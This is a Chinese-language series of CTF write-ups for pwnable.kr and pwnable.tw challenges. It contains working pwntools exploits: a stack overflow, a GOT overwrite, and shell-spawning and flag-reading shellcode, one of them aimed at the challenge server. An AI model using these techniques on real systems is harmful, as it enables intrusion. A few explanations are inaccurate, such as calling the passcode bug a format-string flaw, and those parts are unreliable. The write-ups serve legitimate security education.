分析pwnable.kr(和tw)上的题系列
fd ssh上服务器,看到源代码,没必要下载,直接看c文件就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
本题就是把int fd = atoi( argv[1] ) - 0x1234;
中的fd 搞成0即可,让后边的read函数第一个参数为标准输入0即可,0x1234->4660,然后再输LETMEWIN
就搞定了🤣,这里
1 2 3 4 5 6 fd@prowl:~$ ./fd pass argv[1] a number fd@prowl:~$ ./fd 4660 LETMEWIN good job :) mommy! I think I know what a file descriptor is!!
main参数 本题分析一下main函数参数argc (参数个数),angv (参数,当成数组存储),envp (环境变量)
乱写了一堆代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char* argv[], char* envp[]){ printf("%d\n",argc); for(int i = 0;;i++) if(argv[i]) printf("%s\n",argv[i]); for(int i = 0;;i++) if(envp[i]) printf("%s\n",envp[i]); return 0; }
运行一遍可以看看具体的含义,但是不知道为啥最后输出环境变量时会Segmentation fault (core dumped)
,很迷,这里埋个伏笔吧,觉得是环境变量访问越界,有知道的大佬希望能指点一下本菜鸡
atoi 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { int val; char str[20]; strcpy(str, "98993489"); val = atoi(str); printf("String value = %s, Int value = %d\n", str, val); strcpy(str, "123\n254g9i0sd235.net"); val = atoi(str); printf("String value = %s, Int value = %d\n", str, val); return(0); }
结果
1 2 3 4 pic@ubuntu:~/Desktop$ ./real String value = 98993489, Int value = 98993489 String value = 123 254g9i0sd235.net, Int value = 123
read 1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ int len = 0; for(int i = -1;i < 5;i++){ len = read(i, buf, 32); printf("%d:%s",i,buf);} return 0; }
1 2 3 4 5 6 7 8 9 pic@ubuntu:~/Desktop$ ./real q -1:0:q w 1:w e 2:e 3:e 4:e
我们可以看到-1的时候read函数没有发生什么而且把标准输入的位置给占了,1,2都是正常的输入,到3的时候就不处理了,直接输出
我们看一看到底成功没有
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ int len = 0; for(int i = -1;i < 5;i++){ len = read(i, buf, 32); printf("%d time:%s and the len is %d",i,buf,len); printf("\n"); } return 0; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pic@ubuntu:~/Desktop$ ./real -1 time: and the len is -1 q 0 time:q and the len is 2 w 1 time:w and the len is 2 e 2 time:e and the len is 2 3 time:e and the len is -1 4 time:e and the len is -1
通过看上边的代码和结果我们简单总结一下read 函数
\n
也会被当作输入
返回值为输入长度,发生错误返回-1
-1的情况不太一样,和输入语境有关系??
深入分析pwnable.kr上的题系列[二]
先看这个逆向
flag 有upx壳,直接脱了,发现checksec
可以直接看壳子,好强啊,膜一下这个神器
1 2 3 4 5 6 7 8 9 10 pic@ubuntu:~/Desktop$ checksec flag [*] '/home/pic/Desktop/flag' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments Packer: Packed with UPX
1 2 3 4 5 6 7 8 9 int __cdecl main(int argc, const char **argv, const char **envp) { char *dest; // ST08_8 puts("I will malloc() and strcpy the flag there. take it.", argv, envp); dest = malloc(100LL); strcpy(dest, flag); return 0; }
ida反编译结果,意思是我malloc一块然后把flag赋值到里边,然后直接看flag 就完事了
这题源代码差不多长这样
1 2 3 4 5 6 7 8 9 10 11 #include<stdio.h> #include<stdlib.h> char *flag = "haha"; int main() { char *dest; printf("I will malloc() and strcpy the flag there. take it."); dest = malloc(100); strcpy(dest, flag); return 0; }
bof 题目给的c文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
我们看到必须让key 变成0xcafebabe
我们知道调用函数时程序把参数入栈我们只需要让overflowme
这个局部变量溢出即可,下面用两个工具ida和gdb调试搞一下
方法一:ida 看到key的位置在ebp+8
,而char s; // [esp+1Ch] [ebp-2Ch]
,两者相差52字节,exp如下:
1 2 3 4 5 from pwn import * p = process('./bof') p.recvuntil('overflow me : \n') p.sendline('a'*52+p32(0xcafebabe)) p.interactive()
1 2 3 4 5 pic@ubuntu:~/Desktop$ python exp.py [+] Starting local process './bof': pid 46987 [*] Switching to interactive mode $ id uid=1000(pic) gid=1000(pic) groups=1000(pic),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
总是感觉这种方法不太优雅,下面说一下gdb神器
方法二:gdb 直接s
步入func
里,到比较的地方
1 0x56555654 <func+40> cmp dword ptr [ebp + 8], 0xcafebabe
1 2 3 4 5 6 7 8 9 10 11 pwndbg> print $ebp $1 = (void *) 0xffffd1d8 pwndbg> x/16gx 0xffffd1d8+8 0xffffd1e0: 0x00000000deadbeef 0x00000000565556b9 0xffffd1f0: 0xf7fb6000f7fb6000 0xf7df6e8100000000 0xffffd200: 0xffffd29400000001 0xffffd224ffffd29c 0xffffd210: 0x0000000000000001 0xf7fe575af7fb6000 0xffffd220: 0x00000000f7ffd000 0x00000000f7fb6000 0xffffd230: 0x40c4cae300000000 0x0000000001bc4cf3 0xffffd240: 0x0000000000000000 0x5655553000000001 0xffffd250: 0xf7feae2000000000 0x56556ff4f7fe59b0
我们看到了0xdeadbeef
要和0xcafebabe
比较,我们需要覆盖这个值,找一下偏移量
看一下gets
函数参数,即overflowme 地址,找到
1 2 3 0x56555649 <func+29> lea eax, [ebp - 0x2c] 0x5655564c <func+32> mov dword ptr [esp], eax 0x5655564f <func+35> call gets <0xf7e452b0>
eax值为0xffffd1ac
,然后比较一波
1 2 pwndbg> distance 0xffffd1ac 0xffffd1d8+8 0xffffd1ac->0xffffd1e0 is 0x34 bytes (0xd words)
偏移量也为0x34,结束战斗
collision 这题主要的是理解题目所给函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; } int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; }
我们看到程序让我们输入第二个参数,且参数长度为20,然后跳到check_password
函数中,我们看到它把char指针转成了int指针,所以每次加一都成了加四,让20个输入的字符经过逐个相加得到特定值即可,网上找了找思路,大致都是先算,然后用echo
或python
输入字节,然后发现一个大佬把特定字符给搞出来了
1 2 3 4 5 6 7 ./col `echo -n -e "\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06" ` ./col $(python -c 'print "\xc9\xce\xc5\x06"*4+"\xc8\xce\xc5\x06"') ./col `python -c "print '\x01\x01\x01\x01'*4 + '\xe8\x05\xd9\x1d'"` ./col b4_9b4_9b4_9b4e4d8ZA(大佬行为)
分析一下python
这个小脚本
1 2 3 4 5 6 pic@ubuntu:~/Desktop$ (python -c 'print "\x6c\x73"') ls pic@ubuntu:~/Desktop$ $(python -c 'print "\x6c\x73"') col flag te.py pic@ubuntu:~/Desktop$ ls col flag te.py
可以看到把ls
经过转换后然后用python打印,不加$
就是普通打印,加上就是ls
命令,echo
命令同理
深入分析pwnable.kr上的题系列[三]
random 看到这题,本质就是rand()
函数的伪随机,我们在rand
函数之前,未使用srand
函数给种子,rand
就自己调用srand(1)
,(其实srand(0)
也是这数,我们看看这个小demo
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> int main(){ unsigned int random; random = rand(); printf("first is %p\n",random); for(int i =0;i<10;i++){ srand(i); random = rand(); printf("num %d is %p\n",i,random); } return 0; }
1 2 3 4 5 6 7 8 9 10 11 12 pic@ubuntu:~/Desktop$ ./te first is 0x6b8b4567 num 0 is 0x6b8b4567 num 1 is 0x6b8b4567 num 2 is 0x59b997fa num 3 is 0x47db4e3a num 4 is 0x754e7ddd num 5 is 0x232add1b num 6 is 0x11560ebd num 7 is 0x3e52dff5 num 8 is 0x2d274378 num 9 is 0x1a7dd803
passcode 先把这个文件scp
下载下来,scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode /home/pic/Desktop
,pwnable上的ssh端口全都改成了2222,所以需要指定一下,下来后我们先研究一下漏洞点,c文件如下
Safeguard、operation and source code
ssh连接上去后直接运行后发现出错,我们使用scp 命令从服务器下载下来源码和程序进行进一步逆向分析
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
1 2 3 4 5 6 ➜ 下载 ./passcode Toddler's Secure Login System 1.0 beta. enter you name : 1 Welcome 1! enter passcode1 : 1 [1] 7138 segmentation fault (core dumped) ./passcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", &passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", &passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }
The program has a format string vulnerability
scanf("%d", passcode1)
想要利用这个漏洞很简单,这个漏洞原理就是如果不加&,scanf就会默认从栈中读取4字节当成passcode1的地址 (好草率的说) 于是思路有了,就是把某个函数GOT地址改成system("/bin/cat flag")
这个后门函数即可成功看到flag:)
思路如下:
知道name和passcode1的偏移
找到fflush函数的GOT地址
找到我们的后门函数地址
利用本程序漏洞写出利用代码
Write exp
首先利用ida查出name和passcode1的偏移,我们发现这两个变量在welcome和login中使用,两次函数的提高堆栈 的操作相同,于是我们知道这两个栈使用了同一个ebp
1 2 3 4 5 mov eax, offset a100s ; "%100s" lea edx, [ebp+var_70] mov [esp+4], edx mov [esp], eax call ___isoc99_scanf
1 2 3 4 5 mov eax, offset aD ; "%d" mov edx, [ebp+var_10] mov [esp+4], edx mov [esp], eax call ___isoc99_scanf
使用objdump看一下GOT表
objdump -R passcode
读一下GOT表后找到
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0
该函数在输入passcode后自动调用,直接更改这个函数就行!通过ida看到后门函数地址
080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag
万事具备,编写exp:
1 2 3 4 5 6 7 from pwn import * p = process('./passcode') fflush_got_addr = 0x0804a004 flag_addr = 0x080485E3 payload = 'a' * 96 + p32(fflush_got_addr) + str(flag_addr) p.send(payload) p.interactive()
这样写并不优雅,可能部分人会认为怎么payload直接就输进去了??其实这只是凑巧了,96个字节的a
加上之后的p32(fflush_got_addr)
正好是100个开辟的name大小,应该是这样
1 2 3 4 5 6 sleep(1) payload = 'a' * 96 + p32(fflush_got_addr) p.sendline(payload) sleep(1) payload = str(flag_addr) p.send(payload)
效果相同,我们用一个小demo具体说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include <stdlib.h> void world(){ int passcode1; printf("enter passcode1 : "); scanf("%d", &passcode1); printf("%d\n",passcode1); } void hello(){ char name[5]; printf("enter you name : "); scanf("%5s", name); printf("Welcome %s!\n", name); } int main(){ hello(); world(); return 0; }
1 2 3 4 pic@ubuntu:~/Desktop$ ./flag enter you name : 123456 Welcome 12345! enter passcode1 : 6
大致是这意思😀
深入分析pwnable.kr上的题系列[四]
mistake 本题的关键就是符号优先性,我们写个demo
1 2 3 4 5 6 7 8 9 10 #include <stdio.h> int main(int argc, char* argv[]){ int test; if(test = -1<0) printf("%d\n",test); else printf("??what happened\n"); printf("%d\n",test); return 0; }
1 2 3 pic@ubuntu:~/Desktop$ ./c 1 1
我们通过小demo看出来,其实并不是先赋值,而是先执行<
在执行=
,即test=(-1<0)
我们分析一下源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #include <stdio.h> #include <fcntl.h> #define PW_LEN 10 #define XORKEY 1 void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; } } int main(int argc, char* argv[]){ int fd; if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ //open函数以只读方式打开,错误则返回-1,if语句成立,向下执行 printf("can't open password %d\n", fd); //fd只能是1 return 0; } //fd为0向下执行 printf("do not bruteforce...\n"); sleep(time(0)%20); char pw_buf[PW_LEN+1]; int len; if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ //标准读入,输入即可 printf("read error\n"); close(fd); return 0; } char pw_buf2[PW_LEN+1]; printf("input password : "); scanf("%10s", pw_buf2); // xor your input xor(pw_buf2, 10); if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK\n"); system("/bin/cat flag\n"); } else{ printf("Wrong Password\n"); } close(fd); return 0; }
所以分析到这种程度输入就行
1 2 3 4 5 6 mistake@prowl:~$ ./mistake do not bruteforce... 0000000000 input password : 1111111111 Password OK Mommy, the operator priority always confuses me :(
深入分析pwnable.kr上的题系列[五]
leg 看到本题是arm汇编,我们直接看看c代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <stdio.h> #include <fcntl.h> int key1(){ asm("mov r3, pc\n"); } int key2(){ asm( "push {r6}\n" "add r6, pc, $1\n" "bx r6\n" ".code 16\n" "mov r3, pc\n" "add r3, $0x4\n" "push {r3}\n" "pop {pc}\n" ".code 32\n" "pop {r6}\n" ); } int key3(){ asm("mov r3, lr\n"); } int main(){ int key=0; printf("Daddy has very strong arm! : "); scanf("%d", &key); if( (key1()+key2()+key3()) == key ){ printf("Congratz!\n"); int fd = open("flag", O_RDONLY); char buf[100]; int r = read(fd, buf, 100); write(0, buf, r); } else{ printf("I have strong leg :P\n"); } return 0; }
emmm,看不太懂,只知道key1()+key2()+key3()) == key
则得到flag,直接撸汇编吧,挨个分析
1 2 3 4 5 6 7 8 9 10 (gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump.
1 2 3 int key1(){ asm("mov r3, pc\n"); }
key1函数汇编层面只是多作了一个栈的处理,我们只需要知道pc寄存器的值,且其有读写限制,当没有超过读取限制的时候,读取的值是指令的地址加上8个字节,故返回值r0(arm返回值为r0)为0x00008ce4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 (gdb) disass key2 Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr End of assembler dump.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int key2(){ asm( "push {r6}\n" "add r6, pc, $1\n" "bx r6\n" ".code 16\n" "mov r3, pc\n" "add r3, $0x4\n" "push {r3}\n" "pop {pc}\n" ".code 32\n" "pop {r6}\n" ); }
我们仔细对照一下汇编和使用asm编的代码,发现有这个.code 16
和.code 32
,这是啥??google一波发现是告诉编译器代码是arm状态还是thumb状态,不过和这题没什么关系
我们按行注释一下代码
1 2 3 4 5 6 7 8 0x00008cfc <+12>: add r6, pc, #1 //r6=0x00008d05 0x00008d00 <+16>: bx r6 //跳转到r6的指向,但地址会先和0xFFFFFFFE按位与,相当于jmp 0x00008d04(最后一位必为偶数) 0x00008d04 <+20>: mov r3, pc //r3=0x00008d08 0x00008d06 <+22>: adds r3, #4 //r3=0x00008d0c 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 //返回值r0=r3
结束战斗
1 2 3 4 5 6 7 8 9 10 (gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump.
1 2 3 int key3(){ asm("mov r3, lr\n"); }
key3就是一个简单的lr寄存器当返回值,lr寄存器有两个用处
保存子程序返回地址
异常发生时,异常模式的r14用来保存异常返回地址
所以返回地址为 0x00008d80 <+68>: mov r3, r0
,的0x00008d80
我们得到了三个返回值,直接相加即为key,为0x00008ce4+0x00008d0c+0x00008d80=108400,程序分析完毕,我们再来看看刚才提到的两个状态
ARM处理器状态 我们分析key2的时候发现gdb反编译出莫名奇妙的几行,我们深入分析一下源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int key2(){ asm( "push {r6}\n" "add r6, pc, $1\n" "bx r6\n" //① ".code 16\n" "mov r3, pc\n" "add r3, $0x4\n" "push {r3}\n" "pop {pc}\n" ".code 32\n" //② "pop {r6}\n" ); }
看到了处理①的时候下一行就是状态的切换了,之前我们知道了地址在跳转之前会和0xFFFFFFFE 进行按位与,本身最后一位的作用是起到了一个标志位的作用,0代表状态arm,1代表状态thumb,所以才会显得很奇怪的加一,而最后②的转换回来考虑到lr寄存器放入的就是原本地址,故执行完 0x00008d1c <+44>: bx lr
后程序又切换会了arm状态
start 1 2 ➜ 下载 ./start Let's start the CTF:321
1 2 3 4 5 6 7 8 ➜ 下载 checksec start [*] '/home/pic/\xe4\xb8\x8b\xe8\xbd\xbd/start' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 .text:08048060 000 push esp .text:08048061 004 push offset _exit .text:08048066 008 xor eax, eax .text:08048068 008 xor ebx, ebx .text:0804806A 008 xor ecx, ecx .text:0804806C 008 xor edx, edx .text:0804806E 008 push ':FTC' .text:08048073 00C push ' eht' .text:08048078 010 push ' tra' .text:0804807D 014 push 'ts s' .text:08048082 018 push 2774654Ch .text:08048087 01C mov ecx, esp ; addr .text:08048089 01C mov dl, 14h .text:0804808B 01C mov bl, 1 ; fd .text:0804808D 01C mov al, 4 .text:0804808F 01C int 80h ; LINUX - sys_write .text:08048091 01C xor ebx, ebx .text:08048093 01C mov dl, 3Ch .text:08048095 01C mov al, 3 .text:08048097 01C int 80h ; LINUX - .text:08048099 01C add esp, 14h .text:0804809C 008 retn
本题中
1 2 3 4 5 .text:08048087 01C mov ecx, esp ; addr .text:08048089 01C mov dl, 14h .text:0804808B 01C mov bl, 1 ; fd .text:0804808D 01C mov al, 4 .text:0804808F 01C int 80h ; LINUX - sys_write
1 2 3 4 .text:08048091 01C xor ebx, ebx .text:08048093 01C mov dl, 3Ch .text:08048095 01C mov al, 3 .text:08048097 01C int 80h ; LINUX -
可以发现它让我们写 0x3C 个字符,完全可以覆盖返回地址,本题有两个系统调用,一个是sys_read(ax=3)
,另一个为sys_write(ax=4)
,因为本题的NX 是关的,我们直接在栈上写shellcode 即可
要做的只有:
直接交exp
1 2 3 4 5 6 7 8 9 10 from pwn import * context.log_level = "debug" p = process('./start') pay='a'*20+p32(0x08048087) p.sendafter('CTF:',pay) esp=u32(p.recv(4)) print hex(esp) pay='a'*20+p32(esp+0x14)+'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' p.send(pay) p.interactive()
同时我们要注意,第一个不能sendline,这样会破坏esp的值,其次在第二个传输的时候不要死脑筋,想着一定要布置到给定的20个字节中,直接让esp+20
之后在从容的布置更加优雅
orw 1 2 3 ➜ 下载 ./orw Give my your shellcode:12 [1] 9368 segmentation fault (core dumped) ./orw
1 2 3 4 5 6 7 8 ➜ 下载 checksec orw [*] '/home/pic/\xe4\xb8\x8b\xe8\xbd\xbd/orw' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 .text:08048548 lea ecx, [esp+4] .text:0804854C and esp, 0FFFFFFF0h .text:0804854F push dword ptr [ecx-4] .text:08048552 push ebp .text:08048553 mov ebp, esp .text:08048555 push ecx .text:08048556 sub esp, 4 .text:08048559 call orw_seccomp .text:0804855E sub esp, 0Ch .text:08048561 push offset aGiveMyYourShel ; "Give my your shellcode:" .text:08048566 call _printf .text:0804856B add esp, 10h .text:0804856E sub esp, 4 .text:08048571 push 0C8h .text:08048576 push offset shellcode .text:0804857B push 0 .text:0804857D call _read .text:08048582 add esp, 10h .text:08048585 mov eax, offset shellcode .text:0804858A call eax ; shellcode .text:0804858C mov eax, 0 .text:08048591 mov ecx, [ebp+var_4] .text:08048594 leave .text:08048595 lea esp, [ecx-4] .text:08048598 retn
可以看到在输出字符串之前有个orw_seccomp
函数,此函数用来限制系统调用,我们只能调用4个函数,不过够了,其中有open
,write
和read
,完全可以搞定,继续看汇编代码, 打印出Give my your shellcode:
后,让我们在0C8h
个字节里写入数据,之后直接调用这个shellcode
,行,我们的思路如下:
知道flag 的位置
使用open
打开flag文件
用write
读出文件
read
打印出来
1 2 3 4 5 6 7 8 9 10 11 from pwn import * p = remote("chall.pwnable.tw", 10001) shellcode = "" shellcode += shellcraft.i386.pushstr("/home/orw/flag") shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp') shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30) shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30) p.recvuntil(":") p.send(asm(shellcode)) p.interactive()